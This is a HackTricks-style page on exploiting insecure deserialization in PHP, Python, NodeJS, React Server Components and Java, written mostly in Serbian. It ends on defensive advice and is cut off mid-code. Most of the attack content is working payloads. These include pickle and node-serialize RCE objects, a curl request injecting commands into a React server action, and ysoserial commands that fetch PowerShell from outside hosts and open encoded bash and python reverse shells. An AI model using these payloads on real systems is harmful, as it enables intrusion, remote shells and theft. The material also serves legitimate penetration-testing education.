Deserialization

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Basic Information

Serialization se shvata kao metoda konvertovanja objekta u format koji se može sačuvati, s ciljem ili čuvanja objekta ili njegovog prenosa kao dela komunikacionog procesa. Ova tehnika se obično koristi da bi se obezbedilo da objekat može biti ponovo kreiran kasnije, uz očuvanje njegove strukture i stanja.

Deserialization, suprotno tome, je proces koji poništava serialization. On podrazumeva uzimanje podataka koji su strukturisani u određenom formatu i njihovu rekonstrukciju nazad u objekat.

Deserialization može biti opasan jer potencijalno omogućava napadačima da manipulišu serialized podacima kako bi izvršili štetan kod ili prouzrokovali neočekivano ponašanje aplikacije tokom procesa rekonstrukcije objekta.

PHP

U PHP-u se tokom serialization i deserialization procesa koriste specifični magični metodi:

  • __sleep: Poziva se kada se objekat serializuje. Ovaj metod treba da vrati niz imena svih svojstava objekta koja treba da budu serializovana. Obično se koristi za upisivanje privremenih/nepotvrđenih podataka ili za obavljanje sličnih zadataka čišćenja.
  • __wakeup: Poziva se kada se objekat deserializuje. Koristi se za ponovnu uspostavu konekcija ka bazi podataka koje su mogle biti izgubljene tokom serialization i za druge zadatke ponovne inicijalizacije.
  • __unserialize: Ovaj metod se poziva umesto __wakeup (ako postoji) kada se objekat deserializuje. Pruža veću kontrolu nad procesom deserialization u poređenju sa __wakeup.
  • __destruct: Ovaj metod se poziva kada se objekat sprema za uništavanje ili kada skript završi. Tipično se koristi za zadatke čišćenja, kao što su zatvaranje fajl deskriptora ili konekcija ka bazi podataka.
  • __toString: Ovaj metod omogućava da se objekat tretira kao string. Može se koristiti za čitanje fajla ili druge zadatke zasnovane na pozivima funkcija unutar njega, efektivno obezbeđujući tekstualnu reprezentaciju objekta.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Ako pogledate rezultate, možete videti da se funkcije __wakeup i __destruct pozivaju kada se objekat deserijalizuje. Imajte u vidu da ćete u nekoliko tutorijala naći da se funkcija __toString poziva pri pokušaju da odštampate neki atribut, ali izgleda da se to više ne dešava.

Warning

Metod __unserialize(array $data) se poziva umesto __wakeup() ako je implementiran u klasi. On omogućava da deserijalizujete objekat tako što ćete proslediti serijalizovane podatke kao niz. Možete koristiti ovaj metod da deserijalizujete svojstva i izvršite sve neophodne radnje prilikom deserijalizacije.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Možete pročitati objašnjen PHP primer ovde: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ovde https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ili ovde https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserijalizacija + Autoload klase

Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php fajlove i još toga:

PHP - Deserialization + Autoload Classes

Serijalizacija referenciranih vrednosti

Ako iz nekog razloga želite da serijalizujete vrednost kao referencu na drugu serijalizovanu vrednost, možete:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Sprečavanje PHP Object Injection sa allowed_classes

[!INFO] Podrška za drugi argument funkcije unserialize() (niz $options) je dodata u PHP 7.0. Na starijim verzijama funkcija prihvata samo serijalizovani string, što onemogućava ograničavanje koje klase mogu biti instancirane.

unserialize() će instancirati svaku klasu koju pronađe unutar serijalizovanog streama osim ako nije drugačije naznačeno. Od PHP 7 ponašanje se može ograničiti opcijom allowed_classes:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Ako je allowed_classes izostavljen ili kod se izvršava na PHP < 7.0, poziv postaje opasan jer napadač može kreirati payload koji zloupotrebljava magic methods kao što su __wakeup() ili __destruct() da bi ostvario Remote Code Execution (RCE).

Primer iz stvarnog sveta: Everest Forms (WordPress) CVE-2025-52709

WordPress dodatak Everest Forms ≤ 3.2.2 pokušao je da se zaštiti pomoću pomoćnog wrappera, ali je zaboravio na stare PHP verzije:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Na serverima koji su još koristili PHP ≤ 7.0 ova druga grana je vodila do klasičnog PHP Object Injection kada bi administrator otvorio zlonamerni obrazac. Minimalni exploit payload mogao bi izgledati ovako:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Čim je admin pogledao unos, objekat je instanciran i SomeClass::__destruct() je izvršen, što je rezultovalo arbitrary code execution.

Zaključci

  1. Uvek prosleđujte ['allowed_classes' => false] (ili strogu white-list) pri pozivanju unserialize().
  2. Revizirajte defensive wrappers — oni često zaboravljaju legacy PHP grane.
  3. Nadogradnja na PHP ≥ 7.x sama po sebi nije dovoljna: opcija i dalje mora biti eksplicitno prosleđena.

PHPGGC (ysoserial for PHP)

PHPGGC može vam pomoći da generišete payloads za zloupotrebu PHP deserializations.
Imajte na umu da u nekoliko slučajeva nećete moći da pronađete način da zloupotrebite deserialization u izvornom kodu aplikacije, ali možda ćete moći da zloupotrebite kod eksternih PHP extensions.
Dakle, ako možete, proverite phpinfo() servera i pretražite internet (pa čak i gadgets od PHPGGC) za neki mogući gadget koji biste mogli zloupotrebiti.

phar:// metadata deserialization

Ako ste pronašli LFI koji samo čita fajl i ne izvršava php code u njemu — na primer koristeći funkcije kao file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()** — možete pokušati da zloupotrebite deserialization koja se dešava prilikom čitanja fajla koristeći phar protocol.
Za više informacija pročitajte sledeći post:

phar:// deserialization

Python

Pickle

Kada se objekat unpickle, funkcija reduce će biti izvršena.
Ako se iskoristi, server bi mogao da vrati grešku.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Pre nego što proverite bypass tehniku, pokušajte da koristite print(base64.b64encode(pickle.dumps(P(),2))) da generišete objekat koji je kompatibilan sa python2 ako pokrećete python3.

For more information about escaping from pickle jails check:

Bypass Python sandboxes

Yaml & jsonpickle

Sledeća stranica predstavlja tehniku za zlorabu unsafe deserialization u YAML Python bibliotekama i završava se alatkom koja se može koristiti za generisanje RCE deserialization payload-a za Pickle, PyYAML, jsonpickle i ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS Magic Functions

JS doesn’t have “magic” functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString, valueOf, toJSON.
Ako zlorabom deserializacije možete kompromitovati ove funkcije da izvrše drugi kod (potencijalno zlorabeći prototype pollutions) možete pokrenuti proizvoljan kod kada se one pozovu.

Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. Pratite ovaj link za više informacija.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

Ako želite da saznate više o ovoj tehnici pogledajte sledeći tutorijal:

NodeJS - proto & prototype Pollution

node-serialize

Ova biblioteka omogućava serializaciju funkcija. Primer:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

Serijalizovani objekat će izgledati ovako:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Možete videti u primeru da kada je funkcija serializovana zastavica _$$ND_FUNC$$_ biva pridodata serializovanom objektu.

Unutar fajla node-serialize/lib/serialize.js možete naći istu zastavicu i kako kod koristi istu.

Kao što možete videti u poslednjem delu koda, ako se zastavica pronađe eval se koristi da deserializuje funkciju, tako da u suštini ulaz korisnika se koristi unutar eval funkcije.

Međutim, samo serializovanje funkcije je neće izvršiti jer bi bilo neophodno da neki deo koda poziva y.rce u našem primeru i to je izuzetno malo verovatno.
Ipak, možete jednostavno izmeniti serializovani objekat dodavanjem nekih zagrada kako bi se serializovana funkcija automatski izvršila kada se objekat deserializuje.
U narednom delu koda obratite pažnju na poslednju zagradu i kako će unserialize funkcija automatski izvršiti kod:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Kao što je ranije naznačeno, ova biblioteka će preuzeti kod nakon _$$ND_FUNC$$_ i izvršiti ga koristeći eval. Stoga, da biste automatski izvršili kod, možete ukloniti deo koji kreira funkciju i poslednju zagradu i samo izvršiti JS oneliner kao u sledećem primeru:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

You can find here додатне информације about how to exploit this vulnerability.

funcster

Једна значајна особина funcster је недоступност стандардних уграђених објеката; они су изван приступног опсега. Ово ограничење спречава извршавање кода који покушава да позове методе на уграђеним објектима, што доводи до изузетака попут "ReferenceError: console is not defined" када се користе команде као што су console.log() или require(something).

Упркос овом ограничењу, могуће је вратити пун приступ глобалном контексту, укључујући све стандардне уграђене објекте, коришћењем специфичног приступа. Директним коришћењем глобалног контекста може се заобићи ово ограничење. На пример, приступ се може обновити помоћу следећег исечка кода:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Za more information read this source.

serialize-javascript

serialize-javascript paket je dizajniran isključivo za serialization svrhe i nema ugrađenih deserialization mogućnosti. Korisnici su odgovorni za implementaciju sopstvene metode za deserialization. Zvanični primer za deserializing serialized data predlaže direktnu upotrebu eval:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Ako se ova funkcija koristi za deserialize objekata, možete easily exploit it:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Za više informacija pročitajte ovaj izvor.

Cryo library

Na sledećim stranicama možete naći informacije o tome kako zloupotrebiti ovu biblioteku da biste izvršavali proizvoljne komande:

React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)

React Server Components (RSC) oslanjaju se na react-server-dom-webpack (RSDW) da dekodira server action submissions koji se šalju kao multipart/form-data. Svaki action submission sadrži:

  • $ACTION_REF_<n> delove koji referenciraju akciju koja se poziva.
  • $ACTION_<n>:<m> delove čije je telo JSON kao {"id":"module-path#export","bound":[arg0,arg1,...]}.

U verziji 19.2.0 helper decodeAction(formData, serverManifest) slepo veruje kako id stringu (koji bira koji module export će biti pozvan), tako i bound array-u (argumentima). Ako napadač može da dosegne endpoint koji prosleđuje zahteve ka decodeAction, može da pozove bilo koju exported server action sa parametrima pod kontrolom napadača čak i bez React front-enda (CVE-2025-55182). Krajnji recept je:

  1. Saznajte identifikator akcije. Bundle output, error traces ili leaked manifests obično otkrivaju stringove poput app/server-actions#generateReport.
  2. Ponovno kreirajte multipart payload. Sastavite $ACTION_REF_0 deo i $ACTION_0:0 JSON telo koje sadrži identifikator i proizvoljne argumente.
  3. Pustite da decodeAction to dispatch-uje. Helper rešava module iz serverManifest, importuje export i vraća callable koji server odmah izvršava.

Primer payload-a koji cilja /formaction:

POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--

Ili pomoću curl-a:

curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'

Niz bound direktno popunjava parametre server-action. U ranjivom labu gadget izgleda ovako:

const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);

async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}

Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.

An attacker never needs a real React client—any HTTP tool that emits the $ACTION_* multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive.

Java - HTTP

In Java, deserialization callbacks are executed during the process of deserialization. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions.

Fingerprints

White Box

To identify potential serialization vulnerabilities in the codebase search for:

  • Klase koje implementiraju interfejs Serializable.
  • Korišćenje java.io.ObjectInputStream, readObject, readUnshare funkcija.

Obratite posebnu pažnju na:

  • XMLDecoder korišćen sa parametrima koje definišu eksterni korisnici.
  • XStream’s fromXML metod, posebno ako je verzija XStream-a manja ili jednaka 1.46, jer je podložan problemima sa serializacijom.
  • ObjectInputStream u kombinaciji sa metodom readObject.
  • Implementacija metoda kao što su readObject, readObjectNodData, readResolve, ili readExternal.
  • ObjectInputStream.readUnshared.
  • Opšta upotreba Serializable.

Black Box

For black box testing, look for specific signatures or “Magic Bytes” that denote java serialized objects (originating from ObjectInputStream):

  • Heksadecimalni obrazac: AC ED 00 05.
  • Base64 obrazac: rO0.
  • HTTP response zaglavlja sa Content-type postavljenim na application/x-java-serialized-object.
  • Heksadecimalni obrazac koji ukazuje na prethodnu kompresiju: 1F 8B 08 00.
  • Base64 obrazac koji ukazuje na prethodnu kompresiju: H4sIA.
  • Web fajlovi sa .faces ekstenzijom i parametrом faces.ViewState. Otkriće ovih obrazaca u web aplikaciji treba da pokrene ispitivanje kao što je detaljno opisano u the post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Proverite da li je ranjiv

Ako želite da saznate kako radi Java Deserialized exploit treba da pogledate Basic Java Deserialization, Java DNS Deserialization, i CommonsCollection1 Payload.

SignedObject-gated deserialization and pre-auth reachability

Moderne codebases ponekad omotaju deserialization sa java.security.SignedObject i validiraju potpis pre nego što pozovu getObject() (which deserializes the inner object). Ovo sprečava arbitrary top-level gadget classes, ali i dalje može biti exploitable ako napadač uspe da pribavi validan potpis (npr. kompromitacija private-key ili signing oracle). Pored toga, tokovi za error-handling mogu kreirati session-bound tokens za unauthenticated korisnike, izlažući inače zaštićene sinks pre-auth.

Za konkretnu studiju slučaja sa requests, IoCs, i smernicama za hardening, pogledajte:

Java Signedobject Gated Deserialization

White Box Test

Možete proveriti da li je instalirana neka aplikacija sa poznatim ranjivostima.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Možete pokušati da proverite sve biblioteke koje su poznate kao ranjive i za koje Ysoserial može obezbediti exploit. Ili možete proveriti biblioteke navedene na Java-Deserialization-Cheat-Sheet.
Takođe možete koristiti gadgetinspector da pretražite moguće gadget chains koje se mogu iskoristiti.
Prilikom pokretanja gadgetinspector (nakon što ga build-ujete) nemojte obraćati pažnju na gomilu upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Sve nalaze će zapisati u gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Molimo, imajte na umu da gadgetinspector won’t create an exploit and it may indicate false positives.

Test crne kutije

Korišćenjem Burp ekstenzije gadgetprobe možete identifikovati koje biblioteke su dostupne (pa čak i verzije). Sa tim informacijama može biti lakše izabrati a payload da eksploatišete ranjivost.
Read this to learn more about GadgetProbe.
GadgetProbe se fokusira na ObjectInputStream deserializations.

Korišćenjem Burp ekstenzije Java Deserialization Scanner možete identifikovati vulnerable libraries exploitable with ysoserial i exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner je fokusiran na ObjectInputStream deserializations.

Takođe možete koristiti Freddy da detect deserializations ranjivosti u Burp. Ovaj plugin će otkriti ne samo ObjectInputStream povezane ranjivosti već i vulne iz Json i Yml deserialization libraries. U aktivnom modu pokušaće da ih potvrdi koristeći sleep ili DNS payloads.
You can find more information about Freddy here.

Test serializacije

Nije sve samo u proveri da li server koristi neku ranjivu biblioteku. Ponekad možete biti u mogućnosti da promenite podatke unutar serialized object i zaobiđete neke provere (možda vam dodeli admin privilegije u web aplikaciji).
Ako pronađete a java serialized object koji se šalje web aplikaciji, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Kada znate koje podatke šaljete biće lakše izmeniti ih i zaobići neke provere.

Exploit

ysoserial

Glavni alat za exploit Java deserializations je ysoserial (download here). Takođe možete razmotriti korišćenje ysoseral-modified koji će vam omogućiti da koristite kompleksne komande (na primer sa pipes).
Napomena da je ovaj alat fokusiran na exploiting ObjectInputStream.
Preporučio bih da počnete sa korišćenjem “URLDNS” payload pre a RCE payloada da testirate da li je injekcija moguća. U svakom slučaju, imajte na umu da možda “URLDNS” payload ne radi, ali neki drugi RCE payload radi.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Prilikom kreiranja payload-a za java.lang.Runtime.exec() ne možete koristiti specijalne karaktere kao što su “>” ili “|” za preusmeravanje izlaza izvršavanja, “$()” za izvršavanje komandi ili čak prosleđivati argumente komandi odvojene razmacima (možete uraditi echo -n "hello world" ali ne možete uraditi python2 -c 'print "Hello world"'). Da biste ispravno enkodovali payload, možete use this webpage.

Slobodno koristite sledeći skript da kreirate all the possible code execution payloads za Windows i Linux i potom ih testirate na ranjivoj web stranici:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Možete koristiti https://github.com/pwntester/SerialKillerBypassGadgetCollection zajedno sa ysoserial da kreirate više exploits. Više informacija o ovom alatu nalazi se u slajdovima predavanja na kojem je alat predstavljen: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec se može koristiti za generisanje payloads za exploit različitih Json i Yml biblioteka za serializaciju u Java.
Da bih kompajlirao projekat, morao sam da dodam ove zavisnosti u pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Instalirajte maven, i kompajlirajte projekat:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Pročitajte više o ovoj Java JSON biblioteci: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratorije

Zašto

Java široko koristi serializaciju za razne namene, kao što su:

  • HTTP requests: Serializacija se u velikoj meri koristi u upravljanju parametrima, ViewState, cookies, itd.
  • RMI (Remote Method Invocation): Java RMI protokol, koji se u potpunosti oslanja na serializaciju, predstavlja temelj za daljinsku komunikaciju u Java aplikacijama.
  • RMI over HTTP: Ova metoda se često koristi kod Java-based thick client web aplikacija, gde se serializacija koristi za svu komunikaciju objekata.
  • JMX (Java Management Extensions): JMX koristi serializaciju za prenos objekata preko mreže.
  • Custom Protocols: U Javi je uobičajena praksa prenos sirovih Java objekata, što će biti demonstrirano u narednim primerima exploit-a.

Prevencija

Transient objects

Klasa koja implementira Serializable može označiti kao transient bilo koji objekat unutar klase koji ne bi trebalo da bude serializovan. Na primer:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Izbegavanje serializacije klase koja mora da implementira Serializable

U scenarijima u kojima određeni objekti moraju da implementiraju Serializable interfejs zbog hijerarhije klasa, postoji rizik od nenamerne deserializacije. Da biste to sprečili, osigurajte da ti objekti ne budu podložni deserializaciji tako što ćete definisati final metodu readObject() koja dosledno baca izuzetak, kao što je prikazano ispod:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Poboljšavanje bezbednosti Deserialization u Java

Prilagođavanje java.io.ObjectInputStream je praktičan pristup za osiguravanje deserialization procesa. Ova metoda je pogodna kada:

  • kod za deserialization je pod vašom kontrolom.
  • poznate su klase koje se očekuju pri deserialization-u.

Prekrijte metodu resolveClass() da ograničite deserialization samo na dozvoljene klase. Ovo sprečava deserialization bilo koje klase osim onih koje su izričito dozvoljene, kao u sledećem primeru koji ograničava deserialization samo na Bicycle klasu:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Using a Java Agent for Security Enhancement nudi rezervno rešenje kada izmena koda nije moguća. Ova metoda se primenjuje uglavnom za blacklisting harmful classes, koristeći JVM parameter:

-javaagent:name-of-agent.jar

Ovo omogućava dinamično osiguravanje deserializacije, idealno za okruženja gde su trenutne promene koda nepraktične.

Pogledajte primer u rO0 by Contrast Security

Implementacija filtera serijalizacije: Java 9 je uveo filtere serijalizacije preko interfejsa ObjectInputFilter, pružajući moćan mehanizam za definisanje kriterijuma koje serijalizovani objekti moraju ispuniti pre nego što budu deserializovani. Ovi filteri se mogu primeniti globalno ili po streamu, omogućavajući granularnu kontrolu nad procesom deserializacije.

Da biste iskoristili filtere serijalizacije, možete postaviti globalni filter koji se primenjuje na sve operacije deserializacije ili ga konfigurisati dinamički za pojedinačne streamove. Na primer:

ObjectInputFilter filter = info -> {
